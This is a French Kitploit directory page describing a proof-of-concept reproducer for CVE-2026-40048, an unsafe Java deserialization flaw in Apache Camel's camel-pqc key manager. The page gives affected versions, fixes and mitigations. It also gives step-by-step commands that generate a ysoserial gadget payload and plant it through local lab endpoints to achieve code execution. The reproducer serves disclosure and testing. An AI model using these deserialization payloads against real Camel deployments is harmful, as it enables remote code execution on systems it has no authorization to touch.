Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2026-40048 — Reproducer for CVE-2026-40048: Apache Camel camel-pqc FileBasedKeyLifecycleManager unsafe deserialization (RCE) | Kitploit
Outils/GitHubGitHub/oscerd/cve-2026-40048
Static AnalysisVulnerability AnalysisCode AnalysisExploitationWeb Application ExploitationPenetration TestingLearning & EducationBinary ExploitationLabs & Practice
GitHuboscerd/cve-2026-40048

CVE-2026-40048

Reproducer for CVE-2026-40048: Apache Camel camel-pqc FileBasedKeyLifecycleManager unsafe deserialization (RCE)

il y a 1 moisPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager
Voir le dépôt

camel-pqc FileBasedKeyLifecycleManager Reproducteur de déserialisation non sécurisée (CVE-2026-40048)

Ce projet démontre une vulnérabilité de déserialisation Java dans le composant camel-pqc d'Apache Camel, suivie sous le numéro CVE-2026-40048. FileBasedKeyLifecycleManager lit les fichiers <keyId>.key du répertoire de clés configuré avec un ObjectInputStream brut et sans ObjectInputFilter, de sorte qu'un attaquant capable d'écrire dans ce répertoire peut parvenir à une exécution de code à distance.

Avis : https://camel.apache.org/security/CVE-2026-40048.html

Résumé de la vulnérabilité

PropriétéValeur
Composantcamel-pqc
Classe affectéeorg.apache.camel.component.pqc.lifecycle.FileBasedKeyLifecycleManager (getKey)
CWECWE-502 : Déserialisation de données non fiables
ImpactExécution de code à distance (RCE)
Versions affectéesDe 4.18.0 avant 4.18.2, et de 4.19.0 avant 4.20.0
Versions corrigées4.18.2, 4.20.0
JIRACAMEL-23200
RapporteursAndrea Cosentino (ASF), Venkatraman Kumar (Securin)

Détails techniques

FileBasedKeyLifecycleManager persiste les clés post-quantiques en tant qu'objets Java sérialisés dans <keyDir>/<keyId>.key. Le chargement d'une clé déserialise ce fichier avec un ObjectInputStream brut, et le transtypage en KeyPair n'a lieu qu'après le retour de readObject() :

root@kitploit:~
// FileBasedKeyLifecycleManager.getKey(keyId) - version affectée
Path keyFile = getKeyFile(keyId);   // keyDirectory.resolve(keyId + ".key")
try (ObjectInputStream ois = new ObjectInputStream(new BufferedInputStream(Files.newInputStream(keyFile)))) {
    KeyPair keyPair = (KeyPair) ois.readObject();   // PAS DE ObjectInputFilter — le gadget s'exécute avant le transtypage
    ...
}

Un attaquant capable d'écrire dans le répertoire de clés — via un parcours de chemin, des permissions de volume mal configurées, un pipeline d'approvisionnement de clés compromis ou une attaque par lien symbolique — peut y placer un objet sérialisé contrefait qui s'exécute lors d'un chargement normal du cycle de vie des clés.

Prérequis

  • Java 17+ et Maven 3.8+ (pour construire le jar)
  • Docker (exécute le reproducteur)
  • ysoserial (pour la génération de charge utile)

Étapes de reproduction

Étape 1 : Construire le jar et démarrer le conteneur

root@kitploit:~
mvn clean package -DskipTests
docker compose up -d --build

Étape 2 : Générer une charge utile malveillante

root@kitploit:~
wget https://github.com/frohoff/ysoserial/releases/download/v0.0.6/ysoserial-all.jar

# Benign proof: create /tmp/pwned. On JDK 21 add --add-opens to generate CC gadgets:
java --add-opens java.base/java.util=ALL-UNNAMED --add-opens java.base/java.lang=ALL-UNNAMED \
     --add-opens java.base/java.lang.reflect=ALL-UNNAMED \
     -jar ysoserial-all.jar CommonsCollections7 "touch /tmp/pwned" | base64 -w0 > payload.b64

Étape 3 : Placer la charge utile en tant que <keyId>.key

root@kitploit:~
curl -X POST http://localhost:8080/exploit/inject \
  -H "Content-Type: text/plain" --data-binary @payload.b64
# writes the bytes to /tmp/pqc-keys/mykey.key inside the container

Étape 4 : Déclencher le chargement du cycle de vie des clés (RCE)

root@kitploit:~
curl http://localhost:8080/exploit/trigger
# getKey("mykey") -> ObjectInputStream.readObject() -> gadget executes
# -> ">>> RCE proof — /tmp/pwned exists: true"

Étape 5 : Vérifier

root@kitploit:~
docker exec cve-2026-40048 ls -la /tmp/pwned

Nettoyage

root@kitploit:~
docker compose down

Vecteurs d'attaque

getKey() est appelé pendant les opérations normales du cycle de vie des clés (récupération de clés de signature/vérification, vérifications de rotation, etc.), donc tout chargement d'un fichier <keyId>.key placé par un attaquant déclenche la déserialisation.

Conditions d'exploitation

  1. Accès en écriture au répertoire de clés utilisé par FileBasedKeyLifecycleManager (volume partagé/mal configuré, parcours de chemin, approvisionnement compromis, lien symbolique).
  2. Une bibliothèque de gadgets dans le classpath (par ex. commons-collections:3.2.1).

CVEs associées ultérieures

Le motif ObjectInputStream dans le stockage de clés a été traité plus largement par la suite :

  • CVE-2026-46590 — les gestionnaires jumeaux HashiCorp Vault + AWS Secrets Manager (correction incomplète ultérieure).
  • CVE-2026-43867 — un signalement indépendant du même chemin AWS Secrets Manager.

Correctif recommandé

Mettez à niveau vers 4.18.2 / 4.20.0. Le correctif remplace le stockage basé sur ObjectInputStream par un encodage JSON Base64 standard PKCS#8 (clé privée) / X.509 SubjectPublicKeyInfo (clé publique).

Atténuation

En attendant la mise à niveau :

  1. Restreignez l'accès en écriture au répertoire de clés à l'identité propre de l'application.
  2. Supprimez les bibliothèques de gadgets (mettez à niveau ou supprimez commons-collections 3.x).
  3. Conservez le matériel de clé sur un volume auquel aucun principe moins fiable ne peut écrire.

Fichiers

root@kitploit:~
CVE-2026-40048/
├── pom.xml
├── Dockerfile
├── docker-compose.yml
├── README.md
└── src/main/
    ├── java/com/example/
    │   ├── Application.java
    │   └── ExploitController.java   # /inject (plant .key), /trigger (getKey -> RCE), /cleanup
    └── resources/
        └── application.properties

Avertissement

Ce reproducteur est fourni uniquement pour la recherche en sécurité et les tests autorisés, pour une vulnérabilité publiquement divulguée et corrigée. Ne l'utilisez pas contre des systèmes sans autorisation explicite.

Télécharger l’outil